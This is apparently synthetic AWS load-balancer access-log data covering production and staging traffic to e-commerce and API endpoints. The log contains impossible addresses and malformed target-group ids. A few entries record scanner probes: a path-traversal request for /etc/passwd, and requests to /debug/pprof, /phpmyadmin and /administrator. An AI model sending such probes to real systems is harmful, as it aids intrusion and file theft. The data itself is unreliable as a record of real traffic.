arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d05c-78402be1c2bc44f5874a0370" "prod-web-alb.example.com" "-" 3 2024-11-01T01:45:48.226339Z "forward" "-" "-" "10.0.144.127:443" "404" "-" "-" -https 2024-11-01T01:45:50.037288Z staging-alb 5.34.74.220:59207 164.220.14.178:8080 0.048080 0.073840 0.091537 200 200 764 5495 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d05e-1ed04aa3c2954ca6adb4994f" "staging-alb.example.com" "-" 7 2024-11-01T01:45:50.037288Z "forward" "-" "-" "164.220.14.178:8080" "200" "-" "-" -http 2024-11-01T01:45:50.249138Z staging-alb 191.161.254.0:19986 201.239.194.243:443 0.068418 0.295101 0.109043 302 302 827 12704 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d05e-968b491f45d646728bb7b77e" "staging-alb.example.com" "-" 9 2024-11-01T01:45:50.249138Z "forward" "-" "-" "201.239.194.243:443" "302" "-" "-" -https 2024-11-01T01:45:50.977700Z prod-api-alb 7.21.176.1:21143 10.0.156.32:443 0.067780 0.323147 0.017236 200 200 321 4850 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d05e-710d36a95a1a4f47b7939727" "prod-api-alb.example.com" "-" 0 2024-11-01T01:45:50.977700Z "forward" "-" "-" "10.0.156.32:443" "200" "-" "-" -http 2024-11-01T01:45:51.888655Z staging-alb 252.249.210.197:25673 199.135.14.76:80 0.016696 0.281982 0.137899 200 200 239 8435 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d05f-64bb7d4783704a308c03670e" "staging-alb.example.com" "-" 6 2024-11-01T01:45:51.888655Z "forward" "-" "-" "199.135.14.76:80" "200" "-" "-" -https 2024-11-01T01:45:52.019643Z prod-web-alb 52.184.140.102:40876 10.0.32.187:443 0.072758 0.307185 0.097331 200 200 47 3875 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d060-a53efc9013ac466db84652e3" "-" "-" 1 2024-11-01T01:45:52.019643Z "forward" "-" "-" "10.0.32.187:443" "200" "-" "-" -https 2024-11-01T01:45:53.783766Z prod-web-alb 112.89.70.107:21017 10.0.209.183:443 0.065629 0.203203 0.039647 200 200 1000 8903 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d061-49d4c6d19fed4c8aa4504646" "prod-web-alb.example.com" "-" 5 2024-11-01T01:45:53.783766Z "forward" "-" "-" "10.0.209.183:443" "200" "-" "-" -http 2024-11-01T01:45:54.983610Z staging-alb 189.126.123.132:53642 70.250.28.209:80 0.024903 0.743411 0.075411 200 200 19 7204 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d062-9f3426cb02d3432a9b335171" "staging-alb.example.com" "-" 8 2024-11-01T01:45:54.983610Z "forward" "-" "-" "70.250.28.209:80" "200" "-" "-" -https 2024-11-01T01:45:56.416934Z prod-api-alb 37.142.115.95:58943 10.0.101.14:443 0.023348 0.496844 0.045096 200 200 788 5570 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d064-49797dedd6db49b1b5fa9dd5" "prod-api-alb.example.com" "-" 1 2024-11-01T01:45:56.416934Z "forward" "-" "-" "10.0.101.14:443" "200" "-" "-" -https 2024-11-01T01:45:57.939866Z prod-api-alb 254.159.129.103:55590 10.0.236.156:443 0.080892 0.496763 0.050940 301 301 65 3516 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d065-7cec4a4b73ad483dbcef6874" "prod-api-alb.example.com" "-" 4 2024-11-01T01:45:57.939866Z "forward" "-" "-" "10.0.236.156:443" "301" "-" "-" -https 2024-11-01T01:45:59.063681Z prod-web-alb 201.234.66.198:30621 10.0.198.3:443 0.013807 0.359016 0.095421 302 302 460 13418 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d067-7a29286f43c04d31a7b5a03d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:45:59.063681Z "forward" "-" "-" "10.0.198.3:443" "302" "-" "-" -https 2024-11-01T01:45:59.635639Z prod-api-alb 4.42.113.54:60953 10.0.234.177:443 0.097031 0.075304 0.056849 200 200 682 3408 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d067-38b4be7edb034b34b15891ec" "prod-api-alb.example.com" "-" 9 2024-11-01T01:45:59.635639Z "forward" "-" "-" "10.0.234.177:443" "200" "-" "-" -https 2024-11-01T01:46:00.659825Z prod-api-alb 59.243.51.218:57316 10.0.14.6:443 0.068359 0.095537 0.002843 200 200 963 7677 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d068-4793e40df5584bedaa8ba6a4" "prod-api-alb.example.com" "-" 9 2024-11-01T01:46:00.659825Z "forward" "-" "-" "10.0.14.6:443" "200" "-" "-" -https 2024-11-01T01:46:02.586171Z prod-web-alb 0.25.50.57:59105 10.0.28.191:443 0.059746 0.209733 0.093831 200 200 127 10105 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d06a-335ca3807b3940dfb170081a" "prod-web-alb.example.com" "-" 1 2024-11-01T01:46:02.586171Z "forward" "-" "-" "10.0.28.191:443" "200" "-" "-" -https 2024-11-01T01:46:04.582607Z prod-api-alb 80.140.209.162:56893 10.0.69.176:443 0.055914 0.031128 0.059377 200 200 452 8941 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d06c-eeeb7d793cbb47cb9ef1745a" "prod-api-alb.example.com" "-" 8 2024-11-01T01:46:04.582607Z "forward" "-" "-" "10.0.69.176:443" "200" "-" "-" -https 2024-11-01T01:46:06.268954Z prod-web-alb 138.231.116.126:56197 10.0.59.188:443 0.083581 0.142361 0.090128 200 200 188 13449 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d06e-aa35836e0fee44cc99bcbb67" "prod-web-alb.example.com" "-" 4 2024-11-01T01:46:06.268954Z "forward" "-" "-" "10.0.59.188:443" "200" "-" "-" -http 2024-11-01T01:46:07.731534Z staging-alb 75.183.244.124:58970 244.26.83.93:8080 0.095056 0.740566 0.105997 200 200 959 10211 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d06f-61881b06d38e422899f8f4eb" "staging-alb.example.com" "-" 9 2024-11-01T01:46:07.731534Z "forward" "-" "-" "244.26.83.93:8080" "200" "-" "-" -http 2024-11-01T01:46:08.507450Z staging-alb 67.69.57.255:35460 122.26.243.170:8080 0.017711 0.748684 0.008216 302 302 893 5720 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d070-7720522c046f49469fdea7bb" "staging-alb.example.com" "-" 7 2024-11-01T01:46:08.507450Z "forward" "-" "-" "122.26.243.170:8080" "302" "-" "-" -https 2024-11-01T01:46:08.806390Z prod-api-alb 222.216.56.179:50841 10.0.86.246:443 0.083384 0.476912 0.038515 200 200 123 8995 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d070-1663f61ae6e1419f879f5b18" "prod-api-alb.example.com" "-" 5 2024-11-01T01:46:08.806390Z "forward" "-" "-" "10.0.86.246:443" "200" "-" "-" -https 2024-11-01T01:46:09.277886Z prod-api-alb 68.228.155.88:43244 10.0.161.251:443 0.099178 0.395456 0.033294 200 200 773 7324 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d071-f07206c8bfdc461a80f4bf4e" "-" "-" 0 2024-11-01T01:46:09.277886Z "forward" "-" "-" "10.0.161.251:443" "200" "-" "-" -https 2024-11-01T01:46:09.635770Z prod-api-alb 193.27.228.71:27753 10.0.218.90:443 0.078733 0.228016 0.056819 500 500 773 10775 "POST /debug/pprof HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d071-cf7fbb7d17a246639e401f12" "-" "-" 2 2024-11-01T01:46:09.635770Z "forward" "-" "-" "10.0.218.90:443" "500" "-" "-" -https 2024-11-01T01:46:11.430357Z prod-api-alb 235.24.34.12:44812 10.0.136.166:443 0.069955 0.079127 0.046135 301 301 439 6356 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d073-65a0f86e23554112b82618c6" "prod-api-alb.example.com" "-" 9 2024-11-01T01:46:11.430357Z "forward" "-" "-" "10.0.136.166:443" "301" "-" "-" -https 2024-11-01T01:46:13.287663Z staging-alb 49.114.37.53:21095 209.207.183.130:8080 0.078619 0.525366 0.138788 302 302 200 1580 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d075-cd5326be566f4aa19df99989" "staging-alb.example.com" "-" 3 2024-11-01T01:46:13.287663Z "forward" "-" "-" "209.207.183.130:8080" "302" "-" "-" -https 2024-11-01T01:46:15.261836Z prod-web-alb 98.100.72.172:59070 10.0.161.232:443 0.089382 0.259880 0.014211 302 302 456 853 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d077-19906aa67f7d4f058f93bf7c" "prod-web-alb.example.com" "-" 2 2024-11-01T01:46:15.261836Z "forward" "-" "-" "10.0.161.232:443" "302" "-" "-" -https 2024-11-01T01:46:16.709981Z prod-api-alb 208.248.251.242:54037 10.0.62.19:443 0.044022 0.301471 0.084613 404 404 23 3001 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d078-8cf0e8a165bf44d18dc77af2" "prod-api-alb.example.com" "-" 6 2024-11-01T01:46:16.709981Z "forward" "-" "-" "10.0.62.19:443" "404" "-" "-" -https 2024-11-01T01:46:17.995050Z prod-web-alb 194.237.210.233:52093 10.0.235.79:443 0.013112 0.165078 0.007106 200 200 342 10746 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d079-545abe92a5e6465fb06a6ce9" "prod-web-alb.example.com" "-" 6 2024-11-01T01:46:17.995050Z "forward" "-" "-" "10.0.235.79:443" "200" "-" "-" -https 2024-11-01T01:46:19.907998Z prod-web-alb 184.120.139.25:13607 10.0.152.16:443 0.014216 0.486436 0.069837 200 200 646 12022 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d07b-11517ffc2fd64770abd0a07b" "prod-web-alb.example.com" "-" 2 2024-11-01T01:46:19.907998Z "forward" "-" "-" "10.0.152.16:443" "200" "-" "-" -https 2024-11-01T01:46:20.146708Z prod-api-alb 135.81.222.57:36860 10.0.225.225:443 0.001691 0.107369 0.096198 404 404 4 11000 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d07c-28cd34c44a66492f93a0f4ea" "prod-api-alb.example.com" "-" 1 2024-11-01T01:46:20.146708Z "forward" "-" "-" "10.0.225.225:443" "404" "-" "-" -https 2024-11-01T01:46:20.605805Z staging-alb 39.70.174.253:55487 136.217.222.233:443 0.034940 0.303522 0.007876 301 301 768 1457 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d07c-d29b3bfa9af149088ee3f325" "staging-alb.example.com" "-" 5 2024-11-01T01:46:20.605805Z "forward" "-" "-" "136.217.222.233:443" "301" "-" "-" -https 2024-11-01T01:46:21.531337Z prod-api-alb 72.12.141.236:37285 10.0.212.129:443 0.071038 0.118696 0.000567 200 200 643 1226 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d07d-0603ae5553824e7cb4c7928f" "prod-api-alb.example.com" "-" 0 2024-11-01T01:46:21.531337Z "forward" "-" "-" "10.0.212.129:443" "200" "-" "-" -https 2024-11-01T01:46:22.321400Z prod-web-alb 107.8.100.234:39475 10.0.208.149:443 0.045443 0.484091 0.077884 200 200 68 4891 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d07e-6b470a6b8d4248c6b2fc52f0" "prod-web-alb.example.com" "-" 5 2024-11-01T01:46:22.321400Z "forward" "-" "-" "10.0.208.149:443" "200" "-" "-" -https 2024-11-01T01:46:24.208700Z staging-alb 138.246.75.139:48409 24.107.205.1:80 0.069245 0.558612 0.101813 200 200 624 14800 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d080-847889635ba44dcba0475b2d" "staging-alb.example.com" "-" 7 2024-11-01T01:46:24.208700Z "forward" "-" "-" "24.107.205.1:80" "200" "-" "-" -https 2024-11-01T01:46:26.103885Z prod-api-alb 92.55.224.133:37109 10.0.36.177:443 0.095728 0.253814 0.085563 200 200 799 5710 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d082-497665e4fe704a60834dea76" "prod-api-alb.example.com" "-" 5 2024-11-01T01:46:26.103885Z "forward" "-" "-" "10.0.36.177:443" "200" "-" "-" -https 2024-11-01T01:46:26.250676Z prod-api-alb 86.149.166.25:57810 10.0.167.152:443 0.087633 0.212458 0.064497 200 200 837 2818 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d082-b9eac2b62b104308ac1bcaec" "prod-api-alb.example.com" "-" 3 2024-11-01T01:46:26.250676Z "forward" "-" "-" "10.0.167.152:443" "200" "-" "-" -https 2024-11-01T01:46:26.684035Z prod-api-alb 157.10.39.178:44275 10.0.158.20:443 0.020095 0.447766 0.017530 404 404 765 538 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d082-ed6b19c9357b484f94c0cc83" "prod-api-alb.example.com" "-" 9 2024-11-01T01:46:26.684035Z "forward" "-" "-" "10.0.158.20:443" "404" "-" "-" -https 2024-11-01T01:46:27.885314Z prod-api-alb 169.17.125.65:24481 10.0.139.116:443 0.048617 0.178326 0.004717 200 200 671 515 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d083-b62a01f9fc054601b5a247a3" "prod-api-alb.example.com" "-" 0 2024-11-01T01:46:27.885314Z "forward" "-" "-" "10.0.139.116:443" "200" "-" "-" -https 2024-11-01T01:46:28.823217Z staging-alb 185.181.34.255:44155 182.155.13.126:8080 0.124448 0.285525 0.143596 404 404 260 14534 "GET /../../../etc/passwd HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d084-153de746a56b47de9d482212" "-" "-" 1 2024-11-01T01:46:28.823217Z "forward" "-" "-" "182.155.13.126:8080" "404" "-" "-" -http 2024-11-01T01:46:29.732518Z staging-alb 193.27.228.176:45890 237.190.188.74:80 0.147678 0.654183 0.077219 301 301 425 8969 "POST /administrator HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d085-c5f72e09e5674419b370d843" "-" "-" 3 2024-11-01T01:46:29.732518Z "forward" "-" "-" "237.190.188.74:80" "301" "-" "-" -https 2024-11-01T01:46:30.374544Z prod-api-alb 44.159.136.15:35125 10.0.17.134:443 0.023761 0.060807 0.064360 302 302 174 10872 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d086-24eeb3fd4bff42dea94b7ff8" "prod-api-alb.example.com" "-" 1 2024-11-01T01:46:30.374544Z "forward" "-" "-" "10.0.17.134:443" "302" "-" "-" -https 2024-11-01T01:46:32.266083Z prod-web-alb 112.193.178.212:48588 10.0.179.131:443 0.035573 0.186772 0.015729 404 404 607 2120 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d088-6d223b8263134ce2867c4ce3" "prod-web-alb.example.com" "-" 10 2024-11-01T01:46:32.266083Z "forward" "-" "-" "10.0.179.131:443" "404" "-" "-" -https 2024-11-01T01:46:33.442298Z prod-api-alb 139.218.232.223:36249 10.0.174.195:443 0.009863 0.015928 0.095834 200 200 906 14657 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d089-eefdef19b02743b1954080d8" "prod-api-alb.example.com" "-" 0 2024-11-01T01:46:33.442298Z "forward" "-" "-" "10.0.174.195:443" "200" "-" "-" -http 2024-11-01T01:46:33.873835Z staging-alb 167.234.47.234:62564 208.45.117.119:8080 0.012139 0.474994 0.129554 200 200 800 14919 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d089-d46bc68b68dc433e8107b87b" "staging-alb.example.com" "-" 10 2024-11-01T01:46:33.873835Z "forward" "-" "-" "208.45.117.119:8080" "200" "-" "-" -http 2024-11-01T01:46:35.752013Z staging-alb 40.109.148.137:35009 97.43.22.233:8080 0.127431 0.351219 0.081510 302 302 940 14442 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d08b-a438190d41b644128810a950" "staging-alb.example.com" "-" 0 2024-11-01T01:46:35.752013Z "forward" "-" "-" "97.43.22.233:8080" "302" "-" "-" -https 2024-11-01T01:46:35.992345Z prod-api-alb 208.193.253.100:52967 10.0.210.208:443 0.061750 0.336227 0.063410 200 200 936 1359 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d08b-6e89e8b128cb4c4fb1550876" "prod-api-alb.example.com" "-" 9 2024-11-01T01:46:35.992345Z "forward" "-" "-" "10.0.210.208:443" "200" "-" "-" -https 2024-11-01T01:46:37.784848Z staging-alb 49.65.50.37:22686 15.154.136.165:80 0.025361 0.702661 0.093190 302 302 801 1536 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d08d-cff96ef3a2944a34a9734575" "staging-alb.example.com" "-" 7 2024-11-01T01:46:37.784848Z "forward" "-" "-" "15.154.136.165:80" "302" "-" "-" -https 2024-11-01T01:46:38.530500Z prod-api-alb 124.141.136.13:29974 10.0.51.149:443 0.020048 0.432401 0.046902 302 302 507 1021 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d08e-75ad2e0d45c3456d827198fe" "prod-api-alb.example.com" "-" 9 2024-11-01T01:46:38.530500Z "forward" "-" "-" "10.0.51.149:443" "302" "-" "-" -https 2024-11-01T01:46:38.944489Z prod-web-alb 193.27.228.197:44878 10.0.136.182:443 0.037513 0.342112 0.041543 301 301 936 11993 "GET /phpmyadmin HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d08e-d5a959b40c474f85ac4b5af4" "-" "-" 5 2024-11-01T01:46:38.944489Z "forward" "-" "-" "10.0.136.182:443" "301" "-" "-" -https 2024-11-01T01:46:39.317512Z prod-web-alb 11.10.151.229:63596 10.0.46.75:443 0.087303 0.227352 0.039218 200 200 264 3126 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 